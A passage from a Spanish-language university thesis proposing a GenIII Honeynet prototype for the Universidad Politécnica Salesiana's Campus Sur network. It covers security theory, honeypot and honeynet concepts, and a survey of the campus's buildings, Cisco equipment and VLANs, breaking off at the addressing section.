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RESUMEN

El presente proyecto técnico se desarrolla con el objetivo de proponer una herramienta
complementaria de seguridad informatica, para la red LAN del campus Sur de la
Universidad Politécnica Salesiana, Sede Quito, iniciando con la recopilacion de
informacion sobre la situacion actual de la red del laboratorio, lugar donde se propone la
utilizacion del prototipo de Honeynet y se realizan las pruebas. Adicionalmente, se
realiza un estudio sobre el comportamiento por parte de los usuarios hacia los servicios
de red dentro del campus, para determinar sus habitos de uso y su interaccién con los
componentes de seguridad de la informacion implementados, para caracterizar las
posibles brechas y vulnerabilidades que pudiera tener la red de datos de la institucion.
Para probar el correcto funcionamiento de la herramienta propuesta, se realizan ataques
de penetracion planificados basados en pruebas de hackeo ético a los servicios
implementados en el prototipo disefiado, para demostrar las ventajas y funcionalidad de
dicha herramienta asi como el correcto uso de la misma. Y finalmente, los resultados de
las pruebas realizadas se documentan para demostrar de forma concluyente los
resultados positivos de esta solucion y su beneficio para el grupo de interés, que en este
caso son las diferentes areas y departamentos que se encuentran en el Campus Sur de la

Universidad Politécnica Salesiana.



ABSTRACT

The present technical project was developed with the aim of proposing a complementary
computer security tool for the LAN network of the Networking Laboratories of the
South campus of Universidad Politécnica Salesiana, Sede Quito, starting with the
collection of information on the current situation of the laboratory network, place where
the use of the Honeynet prototype is proposed and tests are performed. In addition, a
study is carried out on the behavior of users to the network services within the campus,
to determine their usage habits and their interaction with the implemented information
security components, to characterize the possible gaps and vulnerabilities that could
have the data network of the institution. To test the correct operation of the proposed
tool, planned penetration attacks based on ethical hacking tests are performed on the
services implemented in the designed prototype to demonstrate the advantages and
functionality of this tool as well as the correct use of it. Finally, the results of the tests
performed are documented to conclusively demonstrate the positive results of this
solution and its benefit to the interest group, which in this case are the different areas
and departments that are located in the South Campus of the Universidad Politécnica

Salesiana.



INTRODUCCION

Actualmente, con el aumento constante en el flujo de datos y personas, la seguridad
informatica se ha convertido en una herramienta de vital importancia a nivel mundial
debido a las vulnerabilidades que presentan las redes de informacion, provocando
riesgos a los cuales estan expuestos los usuarios y corporaciones, dado que los atacantes
pueden obtener informacion personal o institucional sumamente importantes que podrian

usarse para fines dafinos.

El presente trabajo de titulacion tiene como su objetivo primordial implementar un
mecanismo denominado Honeynet para incrementar los niveles de seguridad de la
informacion para el campus Sur de la Universidad Politécnica Salesiana, en la Sede
Quito.

Como Objetivo General del proyecto técnico se plantea:
e Disefiar e implementar un prototipo de Honeynet de deteccion y registro de los
“exploits” de atacantes en la red de la Universidad Politécnica Salesiana Campus
sur, mediante la instalacion de honeypots en el sistema operativo GNU/Linux y
el uso de herramientas de hacking y analisis, para la interpretacion de la

informacidn recopilada e incremento de las medidas de seguridad.

Los Objetivos Especificos, a lograse con el prototipo son:

e Analizar el estado actual de la red tomando en consideracion su topologia, para
la disposicion de la estructura que dé viabilidad a la incorporacion de la honeynet
en la red de campus.

e Diseflar un prototipo de honeynet basado en esquemas de arquitectura
empresarial y redes de datos desde el punto de vista interno, para la
especificacion de los dispositivos basicos indispensables y herramientas
necesarias que garanticen el funcionamiento de la red trampa.

e Implementar varios honeypots vinculando el software de monitoreo de tréfico y
actividad sobre la red, para la persuasion a presuntos y potenciales atacantes a la

realizacion de intrusiones en la red trampa.



e Realizar practicas de penetracion y hackeo ético contra la red de pruebas,
utilizando herramientas de software libre, para la comprobacion del correcto
funcionamiento del honeynet y diagnostico acerca de sus pardmetros de
seguridad.

e Describir los perfiles de usuario de red existentes en el campus sur de la
Universidad Politécnica Salesiana con la interpretacion de la informacion
obtenida, dando a conocer cuales son las principales amenazas internas y
vulnerabilidades de la estructura, para la definicion del riesgo de ataque en el
entorno y los cambios a realizarse en temas de seguridad para la posterior

aplicacion de esta herramienta en la educacion del grupo objetivo.

El capitulo 1 abarca la fundamentacion tedrica en la que se describen a los conceptos
mas importantes sobre seguridad de la informacion y la tecnologia Honeynet, asi como

sus herramientas y modo de funcionamiento.

En el capitulo 2 se define la situacion actual del Laboratorio de Redes de la Universidad
Politécnica Salesiana, ubicado en el bloque C del Campus-Sur, que seré el lugar en

donde serd implementado el prototipo propuesto.

En el capitulo 3 se documenta el disefio y la implementacién del prototipo Honeynet,

describiendo sus componentes de software y el hardware requerido.

Finalmente, en el capitulo 4 se muestran los resultados obtenidos en cuanto a las pruebas

realizadas del prototipo Honeynet propuesto.



CAPITULO 1

FUNDAMENTOS TEORICOS
(Mifsud, 2012) y (Ventura & Rodriguez, 2008) mencionan en sus respectivos
documentos, la importancia del conocimiento e interpretacion de los siguientes

conceptos referentes a la seguridad informatica:

1.1 Seguridad

Se pueden desglosar dos tipos de seguridad:
o Seguridad Ldégica

Es el uso de la criptografia y sus técnicas de encriptacion para la protecciéon de la
informacion. Este tipo de seguridad se da en el propio medio.

o Seguridad Fisica

Se asocia a las precauciones fisicas que se toman para evitar el robo o sustraccion y dafio
(ya sean estos por: incendios, inundaciones, u otro tipo de calamidad) de los equipos y

sistemas.

1.2 Seguridad de la Informacion
El concepto de seguridad de la informacién tendra sentido solo si se protege un sistema
0 medio de informacion de personas sin autorizacion y cuyo fin sea su uso malicioso, su

propagacion indebida o su corte o destrozo total o parcial.

Dicha seguridad se liga a la ausencia de riesgo y la certeza. Se puede entender entonces
como medio de informacién o sistema de informacion seguro, si este no presenta dafio,
peligro o amenaza alguna, cuando se tiene claro que un peligro es aquel que afecte
directamente el correcto desempefio o funcionamiento de un determinado sistema o a la

solucidn obtenida.

Se debe mencionar que la seguridad informatica es una utopia dado que lograr una
seguridad en un ciento por ciento no es posible. El factor de riesgo se encontrara

perpetuamente concurrente, sin importar las diferentes seguridades o medidas que se



tome para garantizar la perfeccion de este modelo, es en donde entran en el tema los

niveles de seguridad.
Un sistema sera seguro si cumple con las siguientes cualidades o caracteristicas:

1.2.1 Integridad

Al mencionar el termino de integridad, se alude a la fidelidad de los medios o de la
informacion, entonces lo que se busca con la integridad es la prevencion de
transformaciones o cambios que no hayan sido previamente autorizados. Estas
alteraciones pueden darse durante el proceso de envi6 del paquete o en el ordenador o

dispositivo de origen del mismo.

Cuando un atacante o persona maliciosa no puede acceder directamente a la informacion
contenida en algun paquete, es muy comun que lo retenga o recoja y simplemente lo

descarte.

1.2.2 Disponibilidad

Se refiere a que toda la informacion debe presentarse como accesible a todo aquel

elemento y sistema que esté autorizado.

La informacién debe poder ser recuperada en cualquier lugar o momento que sea
necesario, es decir, se debe tratar de que dicha informacién sufra de bloqueos,
alteraciones o perdidas en cualquier situacion, ya sean estas por mala operacién o por

motivos externos al operador.

1.2.3 Confidencialidad

La confidencialidad trata sobre el hecho de que la informacion solo debe darse a conocer
a personas que tengan autorizacion para obtenerla. Determinada informacion debe

mantenerse como secreta o ser oculta para el publico en general.

Muchos de los ataques se encuentran encaminados hacia la privacidad. Los medios de
transmision pueden presentarse como susceptibles a estos ataques y mostrar falencias

para que el atacante pueda copiar o interceptar paquetes de informacion.



1.3 Maneras comunmente utilizadas para el ultraje de la seguridad de la

informacion

Se considera como amenaza a todo acto o accion que, si se presentara la oportunidad,

derive en la violacion de la seguridad (disponibilidad, confidencialidad, integridad).

Existen dos recursos que haran que las amenazas puedan ser resistidas o neutralizadas:

El analisis de riesgos y las politicas de seguridad.

Los ataques o0 amenazas se pueden categorizar en cuatro formas que se describen

enseguida:

Interrupcion: Se da cuando cualquier medio o recurso del medio o sistema, se
torna como no disponible o es eliminado. Se le conoce como Ataque a la
disponibilidad. En este tipo de ataque se destruyen los elementos de hardware del

sistema. Este tipo de ataques se ilustra en la figura 1.1.a.

Intercepcion: Se da cuando un ente sin autorizacién, logra acceder o ingresa a
un recurso: este tipo de ataque se conoce como Ataque a la confidencialidad. El
atacante puede lograr acceder a la cabecera de los paquetes para recopilar
informacidn acerca de la identidad de los usuarios. Este tipo de ataques se ilustra

en la figura 1.1.b.

Fabricacién: Conocido como Ataque contra la Autenticidad. Se da cuando un
ente sin autorizacion, logra introducir elementos adulterados o falsificados en el

medio. Este tipo de ataque se ilustra en la figura 1.1.c.

Modificacion: Se da cuando un ente sin autorizacién, logra cambiar o modificar
la estructura de un archivo al que logro acceder. Este ataque es en contra de la
integridad. El atacante puede hacer que un programa funcione de manera distinta
a la inicial entre otros aspectos. Este tipo de ataque se ilustra en la figura 1.1.d.



Trafico normal de informacién

Trafico normal

a) O——* Q b

)
c) :(-’ d) %
Figura 1.1. Trafico normal de informacion entre origen y destino e

ilustracién de posibles amenazas
Fuente: (Mifsud, 2012)

1.4 Tipos de Ataques a los Sistemas de Informacion
Los ataques pueden internarse en los sistemas informaticos con diferentes metodos y

complejidad. Estos ataques pueden ser de dos tipos:

1.4.1 Ataques Pasivos
Este tipo de ataques buscan reunir la informacion para luego lanzar un ataque activo.
Existe una gran probabilidad de nulidad para detectar los ataques pasivos. Entre estos
ataques se encuentran:

e Sniffing

e Reuniendo Informacion.
1.4.2 Ataques Activos
Los ataques activos son premeditados y persiguen la obtencion de la informacion. Se
dice que son faciles de detectar, pero la razon por la que las compafiias u organizaciones
a veces no lo consiguen, es porque ignoran que es lo que deben observar. Algunos de

estos ataques son:

e Denegacion de Servicios (DoS): Agotamiento de sus recursos como el
ancho de banda, por ejemplo, para g no se puede acceder al servidor.

e Penetracion.



1.5 “Honeypots” y “Honeynets”

Existen sistemas con enfoques muy creativos en comparacién a los sistemas de
seguridad convencionales con los cuales se puede monitorear e inventariar las acciones
que realizan los atacantes en contra de algun sistema que lo requiera, en lugar de

desecharlas y repelerlas.

1.5.1 Honeypot

Un honeypot, segun lo mencionado en (Chavarri, 2015), es un sistema que se encarga de
timar al intruso para poder analizar su labor y asi instruirse con sus métodos. La

instruccion bésica es la de aprender del enemigo, para asi lograr batallar contra él.

Estos sistemas estan proyectados a copiar la conducta de un archivo, o sistema completo
que puede despertar el interés de un usuario no autorizado o intruso, y la idea es que el
atacante no pueda dafiar la red ni pueda percatarse de dicho engafio. En la figura 1.2. se

presenta una estructura de lo anteriormente mencionado.

Ejemplo de Arquitectura Honeypot

y

i
1
<"

Firewall Internet

Honeypot (Sistema Trampa)

Figura 1.2. llustracién de una arquitectura Honeypot
Fuente: (Gonzalez, 2003).

Por lo general estos sistemas se colocan después de un firewall o cortafuegos, en su linea
trasera, sin que esto sea una regla. El firewall se programa de tal forma que permita la
libre circulacion del trafico entrante, pero restringiendo las conexiones que salen del
sistema.

A continuacion en la tabla 1.1, se definen algunas de las ventajas y desventajas que

presentan los honeypots.



Tabla 1.1. Comparativa de ventajas y desventajas de los Honeypots

Ventajas

Desventajas

Logran registrar una cantidad pequefia de informacién, pero
de mucho valor.
Reduce significativamente el nimero de falsos positivos y
falsos negativos.
Presenta un ahorro de recursos significativo al no necesitar

un aumento en el ancho de banda ni mdltiples dispositivos

El sistema se vuelve obsoleto, en el caso
de que un intruso logre identificarlo,
pudiendo evadirlo y atacando la red de
produccion.

Se puede atacar el sistema trampa o

honeypot y se lo puede usar para atacar a

que realicen su tarea. Un solo ordenador puede ser usado | la red, por lo que presenta un riesgo.

para este trabajo. Solo percibe los ataques que van

Registra los ataques que se hacen de IPVs utilizando tineles | destinados a él y no los que van

destinados a otros recursos.

de 1PV, que los IDS no logran registrar.

Fuente:(Ventura & Rodriguez, 2008)

Nota: Elaborado por Dennis Carcelén, Carlos Rios

1.5.2 Honeynet

Las Honeynets o Redes Trampa, como se recopila y se manifiesta en el documento
(«Spanish Honeynet Project», s. f.), nacen a partir de la idea de mejorar los honeypots,
por lo que se dice que son el desarrollo de estos, teniendo una alta interaccion con los

atacantes.

Este concepto fue recogido por el denominado “The Honeynet Project” el cual es un
grupo u organizacion, no lucrativa. Esta organizacién se encuentra formada por
entendidos y diestros en el tema de la seguridad de la informacion, encabezados por su
fundador Lance Spitzner, y cuyo propoésito es aprender lo méas posible, sobre las tacticas,

técnicas, mecanismos y motivos que pudieran tener los intrusos.

Una red trampa es entonces, un mecanismo o instrumento para la investigacion. Es un
conjunto de varias clases de honeypots que se fundamenta en ser disefiada para lograr
atrapar y controlar, a través de un firewall, el trafico que pasa por esta red, para ser
expuesta ante los atacantes, y el consiguiente analisis del trafico obtenido. Esto se hace
para poder aprender sobre los métodos que son usados por dichos atacantes que han

logrado comprometer la Honeynet.



Una Honeynet tiene muchas diferencias con un sistema trampa comun y tipico, entre las

cuales se pueden citar las mas sobresalientes:

e Una Honeynet posee equipos que actian como honeypots, es decir la Honeynet
no es un solo sistema trampa, es toda una red. Puede estar formada por sistemas
Windows, Unix, Solaris, dispositivos Cisco (switches, routers, etc.). Lo que se
busca hacer con esto es instaurar una infraestructura en la que ademas de tener
sistemas reales, se tengan servicios reales como lo son HTTP, FTP, Web Server,
correo electronico, etc., lo que hard que el atacante se interne en este entorno
controlado sin percatarse del proposito del mismo.

e Con las Honeynets, al ser estos sistemas de produccion, se puede ademas
implementar infraestructuras de iguales caracteristicas que las originales, para asi
poder estudiar sobre los peligros y contingencias que se pudieran presentar en
este tipo de entornos. Un servidor Apache que contenga una base de datos de tipo

MySql y PHP, pueden ser un claro ejemplo de esto.

Para las Honeynets se han concretado tres tipos de infraestructuras en un nivel basico
por parte de The Honeynet Project, los cuales son: Genl, Genll y la mas reciente:
Genlll.

Para el presente trabajo de titulacion se hard uso de la arquitectura Honeynet de tercera

generacion.

1.5.3 Genlll (Honeynets de Tercera Generacion)

Las Honeynets de tercera generacion se empezaron a desarrollar en el afio 2005 y
permiten profundizar mas adn en la captacion de informacién y ademas mejorar el
analisis de los datos obtenidos, adquiriendo avances sobre sus versiones anteriores. En
este punto se debe mencionar a Sebek, el Honeynet mas utilizado por el rendimiento que
ofrece y por las soluciones de alta calidad que brinda. Todo esto se puede visualizar

mejor en la ilustracion de la figura 1.3.



Arquitectura Honeynet Genll|
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Gateway
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= =

s s
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Figura 1.3. Ejemplo de Arquitectura de Honeynet de Tercera Generacion

Fuente: (Spitzner, s. f.)

En el documento de (Montalvan, 2010), se manifiesta que para facilitar el estudio de los
datos, las Honeynets Genlll muestran los subsistemas que se encuentran citados en la
Tabla 1.2.

Tabla 1.2. Subsistemas en una Honeynet Genlll

SUBSISTEMAS Control de Datos Captura de Datos Anélisis de Datos
Limitacion de velocidad FirewallD Logs MySQL
Iptables pOf Walleye
HERRAMIENTAS NIDS Snort en linea Hpots Sebek Argus+Hflow
Alertas Snort Swatch (alertas)
Tcpdump

Fuente: (Montalvén, 2010)

Nota: Elaborado por Dennis Carcelén, Carlos Rios
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e Control de Datos

El fin de este subsistema es la comprobacién de las acciones que el intruso puede
realizar tanto en la entrada como en la salida de la Honeynet para poder limitar la
informacion que puede salir del sistema Honeynet y poder permitir intencionalmente la

entrada de los datos hacia la Honeynet.

Con el uso de las IPTables es posible la realizacion de lo anteriormente mencionado ya
que entre las funciones de este tipo de firewall para Linux, se encuentran la demarcacion
de conexiones entrantes y salientes y el mecanismo de traduccion de direcciones de red
(NAT).

Lo que se debe hacer es la configuracion de las IPTables para que actlen como
filtradores de conexiones en la maquina fisica o HostOS, haciendo que se realice un
conteo de los paquetes salientes para que cuando se logre alcanzar un numero
predeterminado de enlaces salientes, el siguiente intento de conexion sea bloqueado para
evitar que algin honeypot que haya logrado llegar a estar vulnerable, comprometa a los

demas.

The Honeynet Project implementd un archivo tipo script para favorecer la
implementacién de las mencionadas IPTables. Este archivo es denominado rc.firewall el
cual debera ser rectificado en ciertas variables segun las necesidades de cada Honeynet

para su funcionamiento y posterior ejecucion.

En el Honeynet Genlll se trabaja con Honeywall el cual serd el gateway con su
operatividad en modo puente de capa dos (“layer two bridging mode™) por lo que no
existird enrutamiento ni tampoco disminuird en TTL (tiempo de vida) de los paquetes,

haciendo que se torne como un dispositivo filtrante casi invisible para los intrusos.
Las herramientas para el control de datos se listan a continuacion:

e [PTables (limitacion de paquetes y/o trafico de red)
e Snort Inline (manejo de paquetes de red)

e Bridge de capa 2 (Honeywall).
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e Captura de Datos

Es una de las partes fundamentales en el esquema Honeynet, ya que se trata de obtener
la informacion sobre la actividad que el atacante se encuentra realizando en el sistema
tratando de mermar las posibilidades de percepcion sobre el accionar de la Honeynet y

del administrador.
La actividad del intruso se logra registrar por medio de diferentes herramientas.

e EI accionar del firewall para la manipulacion y registro de las conexiones
entrantes y salientes en la localidad /var/log/messages.

e EI NIDS Snort tiene por defecto, un procedimiento para registrar las acciones
suscitadas en la red ademas de capturar la informacion que contienen los
paquetes que transitan por la interfaz de red contenida internamente (por defecto
ethl) incluyendo también a toda el movimiento presentado por Sebek.

e Otra herramienta de Snort se encarga de monitorear la interfaz interna y después
desplegar los avisos o alarmas IDS en dos modalidades: full y fast. Las
actividades registradas tanto por Snort como por Snort in-line estaran
almacenadas en la localidad de archivos/var/log/snort/$SDAY.

La configuracion manual de Sebek debe darse en las opciones de registro, es decir
configurar a donde (direccién IP y puerto) se deben enviar los registros por parte de los
clientes de Sebek. También se debe indicar si todos los paquetes generados en Sebek,

deberan ser registrados por el firewall.

La generacion automatica de alertas cuando el sistema haya sido vulnerado es otra de las

caracteristicas de la captura de datos.

Las herramientas para la captura de datos con su descripcion, se listan a continuacién:

e FirewallD (logs de FirewallD)

e pOf (Identificacion pasiva del Sistema Operativo)
e Hpots Sebek (captura, a un grado mayor, de datos)
e Tcpdump (captura del trafico en la red)

e Alertas Snort (alertas IDS).
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e Analisis de Datos

Una mejoria totalmente notable en comparacion con las arquitecturas de Genl y Genll,
se presenta para las Honeynets de Genlll para un correcto andlisis de los datos

recopilados.

La capacidad de poder examinar dichos datos en base a una busqueda mas minuciosa,
dado que se puede indagar un dato por su fecha de creacion, direccion IP, puerto de
conexion y/o tiempo, se puede visualizar en la interfaz GUI de Walleye, y
posteriormente estos archivos pueden ser arrojados como un fichero o archivo PCAP
(interfaz de una aplicacion de programacion para captura de paquetes) o en la interfaz
“Walleye Flow View” para que con el uso de alguna herramienta de analisis de trafico
de red, como pudiera ser Wireshark, lograr la deduccion y estudio de los datos

obtenidos.
Las herramientas para el analisis de datos se listan a continuacion:

e MySQL (Base de datos de la Honeynet para su recaudacion).
e Walleye (Interfaz grafica para el usuario).
e Argus + Hflow (Andlisis del flujo del trafico de la red, recoleccion de datos)

e Swatch (Logs de Firewall, alertas del sistema de deteccion de intrusos IDS).
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CAPITULO 2

ESTADO ACTUAL
La Sede Quito de la Universidad Politécnica Salesiana, estd conformada por 3 campus:
Campus EI Giron ubicado en la Av. 12 de Octubre 2422 y Wilson, el Campus Kennedy
ubicado en la Av. Rafael Bustamante s/n, y el Campus Sur que se encuentra ubicado en
el sector de Chillogallo, en la Av. Rumichaca y Av. Moran Valverde s/n.

Ubicacion de la UPS Sede Quito-Campus Sur

-~

s
9

Figura 2.1. Foto Aérea del Campus Sur de la UPS Sede Quito Campus Sur y su

distribucion de bloques

Fuente: (Borja & Jarrin, 2015)

2.1 Descripcion de las Edificaciones Principales del Campus Sur

El campus Sur se encuentra distribuido en 9 bloques de edificios, nombrados para su
facil identificacién desde la letra A hasta la letra I. El edificio correspondiente al bloque
G, esta en las etapas finales de construccion y se espera la pronta entrega de la obra

concluida.
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Cada blogue posee su respectiva infraestructura tecnoldgica, misma que permite las
comunicaciones asi como la transmisién de datos desde y hacia cada una de las
dependencias que funcionan en cada uno de ellos. Esta infraestructura se encuentra
interconectada con los otros blogues y de ellos hacia el centro de datos ubicado en el
blogue A. A continuacion se realiza una breve descripcion, de acuerdo al documento

redactado por (Moreno & Tipéan, 2015), del equipamiento existente en cada bloque:

o Bloque A

Este bloque posee cinco pisos y una planta baja. Este edificio posee ademas areas de:
centro de computo e informatica, que posee un Marco de Distribucion Principal o MDF;
un area para el departamento financiero y administrativo y para vicerrectorado, dicha
area posee dos Marcos de Distribucion Secundarios o SDF; un &rea para la biblioteca,
en el que se ubica un Marco de Distribucién Secundario, y un area que funciona como
Centro de Capacitacion y Servicios Informaticos o CECASIS y que dispone de un
distribuidor intermedio o IDF. En este edificio se disponen los cuartos de
comunicaciones que se encuentran en las areas de la sala de profesores y la biblioteca,
ademas de los pisos tres y cuatro.

o Bloque B

Este bloque esta constituido por dos pisos y posee areas de secretaria, direcciones de
carrera, salas de profesores, pastoral y bienestar estudiantil. También se encuentra ya en
funcionamiento la nueva area que corresponde al espacio de coworking de la institucion
denominado como StartUPS, con distribuciones de SDF nombradas como SDF-BB-P1-
2, SDF-BF-P1 y SDF-BB-PB respectivamente. En este edificio se encuentra situado un
rack de pared, ubicado en el primer piso, en la sala de profesores especificamente.

o Bloque C

Este blogue esta construido con dos pisos en los que se ubica un rack de pared en la
actual sala de profesores. Este edificio cuenta con areas para laboratorios de electronica
y sala de profesores, en donde se ubica un SDF nombrado como SDF-C-P1, y con areas

para laboratorios de fisica.
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o Bloque D

Este edificio posee dos pisos. En el primer piso esta situado el rack de pared para este
bloque, especificamente en el laboratorio 3 de la academia CISCO. Este bloque posee un
SDF denominado como SDF-D-PB para los departamentos de Cisco, Academia SUN y
Auditorio.

o Bloque E
El blogue E esta construido con un solo piso en el cual se situa un rack de pared que
funciona en el area del laboratorio de Suelos con un SDF denominado como SDF-E-PB.

o Bloque F

Este edificio esta construido con una planta baja y un piso en el cual se situan las areas
para los laboratorios y aulas de clase para Ingenieria Ambiental. En el primer piso se
sitla el rack de pared de este bloque con un SDF denominado como SDF-F-PB para el

cuarto de comunicacion.

o Bloque H

En este bloque se encuentra ubicada la nueva area correspondiente a los laboratorios de
Ingenieria Eléctrica en conjunto con su sala de profesores y esta construido con un Unico

piso con un SDF denominado como SDF-H-PB para el cuarto de comunicacion.

o Bloque I

En este nuevo bloque, donde antes funcionaba la cafeteria, se encuentran ubicados los
laboratorios correspondientes a la carrera de Ingenieria Mecanica junto con un area para
la sala de profesores. Esta construido en un Gnico piso con un SDF denominado como
SDF-1-PB.

o Bloque G

Este blogue se encuentra ubicada la nueva cafeteria ademas de un nuevo auditorio.

Posee un IDF que esta conectado a través de fibra dptica a un switch cisco 3750.
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2.2 Levantamiento
Para una correcta caracterizacion de los equipos y seguridades presentes en el campus, y
para poder desarrollar de manera sistematica el disefio de la Honeynet, se realiza la

descripcion de su topologia fisica y también légica.

2.1.1 Topologia Fisica

En el edificio primario del Campus, denominado como Bloque A, se encuentra situado
el Data Center, especificamente en el piso numero seis. Aqui existen los equipos de
networking que se usan para la implementacion de la red funcional de la universidad, en
dicho campus (Mena & Jara, 2013).

Los equipos que se utilizan son los siguientes:

e Routers de Core

e Switch Core

e Switch de Distribucion
e 2 Servidores

e WLAN Controller.

En este punto se debe mencionar que la Universidad en su sede Quito cuenta con dos
proveedores de servicios o ISP, los cuales son CNT y TELCONET, para disponer de
enlaces redundantes desde el Campus central de esta sede (Campus Giron), los cuales en
conjunto, proveen los servicios de internet, voz y datos. Este esquema se encuentra

representado en la figura 2.2.
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Topologia Fisica Red del laboratorio de Redes de la UPS Sede Quito Campus-Sur
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Figura 2.2. Infraestructura de la Topologia Fisica del laboratorio de Redes de la UPS Sede Quito Campus-Sur

Elaborado por: Dennis Carcelén, Carlos Rios

18




2.1.1.1 Equipos de Conectividad

En los documento de (Mena & Jara, 2013) y (Moreno & Tipén, 2015), se menciona el

uso de los siguientes dispositivos en la Red Institucional:

e Router de CNT
Se usa un transceiver o transformador de fibra dptica a cable UTP, para acoplarse con el

equipo Cisco 2851, ilustrado en la figura 2.3, el cual provee un Unico servicio de datos.

Equipo Cisco 2851

Figura 2.4. Imagen del Router Cisco 2851

Fuente: («Cisco 2851 Integrated Services Router - Cisco», s. f.).

Caracteristicas:

e Anchura43.8cm

e Profundidad 41.7 cm

e Altura89cm

o Peso1l1.4 kg

e Memoria RAM 256 MB (instalados) / 1 GB (max.) - SDRAM

o Memoria Flash 64 MB (instalados) / 256 MB (max.)

o Conexion de redes

e Tecnologia de conectividad: Cableado

« Protocolo de interconexion de datos Ethernet, Fast Ethernet, Gigabit Ethernet

o Red/ Protocolo de transporte IPSec
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Protocolo de gestion remota SNMP 3, entre otras («CISCO 2851 Integrated
Services Router - CISCO2851 : Almacen Informaticoy, s. f.).

e Router de Telconet

Se emplea un equipo de marca Cisco, modelo 7604, el cual se visualiza en la Figura 2.4,

con el que se provee los servicios de Internet, datos y voz mediante fibra dptica.

Equipo Cisco 7604

Figura 2.5. Imagen del router Cisco 7604

Fuente: («Cisco 7604 Chassis Data Sheet -

Cisco», s. f)

Caracteristicas:

Dos modos de configuracién: Un motor de supervisor Gnico y un maximo de tres
tarjetas de linea, 0 motores de doble supervisor y un maximo de dos tarjetas de
linea de alta disponibilidad y redundancia.

Adaptadores modulares de puerto que son intercambiables en todas las
plataformas de enrutamiento de Cisco

Tasa de transmision de hasta 144 Mbps de distribucion y 320 Gbps de
rendimiento total, proporciona un rendimiento y fiabilidad con opciones para los
procesadores de rutas y fuentes de alimentacion redundantes

(«UltimaTecnologia » ranuray, s. f.).
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o Switch de Core
Se emplea un switch de 48 puertos de marca Cisco Catalyst 3750G PoE, ilustrado en la
Figura 2.5, con 4 interfaces opticas. Todos los dispositivos convergen en este dispositivo

por lo que es muy importante para la utilizacion en la comunicacion de la red.

Equipo Cisco Catalyst 3750G PoE

Figura 2.6. Imagen switch Cisco Catalyst 3750G
PoE

Fuente: («Cisco Catalyst 3750 Series -
Netsource GlobalNetsource Globaly,

s. f.).

El Campus Sur de la Universidad, presenta una administracion de su red mediante el uso
de VLAN’s para su segmentacion del trafico segun los sectores de trabajo distribuidos

de la siguiente manera:

e VLAN-WLAN-IPCAM-ELECTRONICA
e VLAN SALA-INTERNET
« VLAN ADMINISTRATIVA
« VLANCISCO
« VLAN SUN
e VLAN SALA-CECACIS
e VLANHP
« VLAN SALAPROF
« VLAN SALA-CECACIS
« VLAN CECASIS
e« VLAN de VIDEO
e VLAN ELECTRONICA
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e VLAN-TELCONET

e VLAN-IPCAM-CECASIS.
« Switch de Distribucion
Se emplea un switch funcional, a través de fibra Optica, de marca Cisco Catalyst 3750G
12-SPF, el cual se puede visualizar en la Figura 2.6, ubicado en el data center del
Campus denominado como Bloque A. Este switch posibilita la conexién entre el Core
Switch y el switch de IDF o de acceso que estan en los diferentes bloques de la sede

Quito-Campus Sur.

Cisco Catalyst 3750G 12-SPF

Figura 2.7. Imagen del switch Cisco Catalyst
3750G 12-SPF

Fuente: («Cisco Catalyst 3750 Series Switches
Data Sheet - Cisco», s. f.).

o Switches de Acceso
El modelo que se usa es un Cisco Catalyst 3750G POE-24/48P, cuya imagen se puede
observar en la Figura 2.7., para el acceso a las diferentes areas en el campus. Dichas areas

se listan a continuacioén:

o Departamento administrativo

« Biblioteca (Bloque A)

o Cecasis (Blogue A)

o Secretaria (Blogue B)

« Laboratorios de Electrénica (Blogue C)
e Auditorio (Laboratorio de Redes)

o Laboratorio de suelos

o Ambiental (Bloque F)
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Para el actual trabajo de titulacion, compete el estado actual del bloque D denominado
como auditorio y en especifico los laboratorios de redes de comunicaciones ubicados en

Bloque H
Bloque G

este sitio.

e WiIan Controller

Utilizado para la administracion y el control de las antenas que se encuentran en las
areas externas a los edificios y bloques, dentro del campus, ademas de los Access Points.
El modelo usado es un Cisco 2500, el cual se puede visualizar en la Figura 2.8., que se

conecta al Core Switch en el data center a través de un enlace redundante con cable

La funcién de este switch es la de enlazar la red LAN para las zonas de trabajo

Ethernet.

Cisco Catalyst 3750G POE-24/48P

I:-:—:.- Eii"-"'-"'-"' -
masasa [iiiiii‘ |==_===;] i =:=:
I=‘ ; T iiiiii“iiﬁiil ey =:=:

Figura 2.8. Imagen del switch Cisco Catalyst
3750G PoE-24/48P

Fuente: («Cisco Catalyst 3750-48PS Switch -

Cisco», s. f.)

Auditorio: Esta zona es usada por parte de los educadores, personal encargado y
estudiantes. Un Cisco Catalyst 3750G POE-48P es el switch utilizado en este

punto y se encuentra ubicado en una de las aulas de la Academia Cisco.

de los laboratorios de las academias CISCO (laboratorios de redes de
comunicaciones) y SUN. También conecta el Access Point de marca Cisco 1131-

A que proporciona servicio de internet Wi-Fi al blogue D del campus.
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Wilan Controller Cisco 2500

Figura 2.9. Imagen del WLAN
Controller Cisco 2500

Fuente: («Cisco 2500 Series Wireless
Controllers - Cisco 2500 Series

Wireless Controllers - Cisco», s. f.).

Caracteristicas:

« Diseflado para pequefias y medianas redes y sucursales politicas de seguridad
centralizadas para detectar puntos de acceso no autorizados y proteger contra
ataques de denegacidn de servicio

o Capa 2y Capa 3 lamovilidad y la calidad de servicio para voz y video el acceso
de alta seguridad inaldmbrico para invitados

o Latecnologia integrada de Cisco CleanAir para una auto-curacion , red de auto -
optimizacion que evita la interferencia de RF (Preguntas Frecuentes sobre el
Disefio y las Funciones de Wireless LAN Controller (WLC), 2008).

Se debe mencionar que la salida hacia el internet en el campus se da por medio de
CEDIA TELCONET. Este enlace esta provisto de un ancho de banda de 162.5 Mbps,
haciendo notar gque el enlace existente entre los Campus Sur y Girén son netamente de
datos con un ancho de banda de 6 Mbps y es provisto por los proveedores de servicio

TELCONET y CNT como se mencion0 anteriormente en el presente capitulo.
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2.1.1.2 Servidores

o Equipo IBM System X3650 M3

En este equipo se encuentran alojados los servidores de Active Directory, File Server y

el Antivirus F-Secure.
o Equipo IBM System X3550 M2

En este equipo se encuentra alojado el servidor Proxy de la Institucion.

2.2.1 Topologia Logica

La red de la Universidad esta disefiada con una topologia de tipo estrella extendida como
se muestra en la Figura 2.9., para asi brindar caracteristicas jerarquicas a la red, como
mencionan (Mena & Jara, 2013), en la que los switches de acceso convergen todos hacia
el switch de Core, por el que pasaran todos los paquetes para la comunicacion de los

distintos bloques del Campus y que esta se mantenga de forma local.
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Topologia Logica de Red del Laboratorio de Redes de la UPS Sede Quito Campus-Sur
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Figura 2.10. Infraestructura de la Topologia Logica de la Red UPS Sede Quito Campus-Sur

Elaborado por: Dennis

Carcelén y Carlos Rios
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2.2.2.1 Direccionamiento Ldgico

Después de analizar el documento de (Moreno & Tipén, 2015), en esta seccion se
